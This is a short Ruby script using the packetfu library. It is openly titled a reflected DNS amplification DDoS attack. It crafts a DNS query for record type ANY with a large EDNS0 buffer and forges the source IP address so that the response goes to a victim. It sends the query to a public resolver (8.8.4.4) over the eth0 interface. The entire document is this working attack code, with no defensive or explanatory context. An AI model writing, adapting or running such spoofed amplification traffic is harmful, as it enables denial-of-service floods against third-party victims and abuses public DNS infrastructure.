Reflected DNS amplified DDOS attack in ruby with packetfu

dnsdos.rb

#!/usr/bin/env ruby

require 'rubygems'
require 'packetfu'

dns_query = PacketFu::UDPPacket.new
dns_query.ip_saddr = "10.0.2.15"	# spoofed source address
dns_query.ip_daddr = "8.8.4.4"		# DNS server to query
dns_query.udp_dst=53
dns_query.udp_src=rand(0xffff-1024) + 1024

puts "Domain to query for:"
name = gets.chomp.split(".")

dns_query.payload += "\x24\x1a\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01".force_encoding("ASCII-8BIT")
name.each do |part|
	dns_query.payload += [part.size].pack('U').force_encoding("ASCII-8BIT")
	dns_query.payload += part.force_encoding("ASCII-8BIT")
end
dns_query.payload += "\x00\x00\xff\x00\x01\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x00".force_encoding("ASCII-8BIT")


dns_query.recalc
dns_query.to_w("eth0")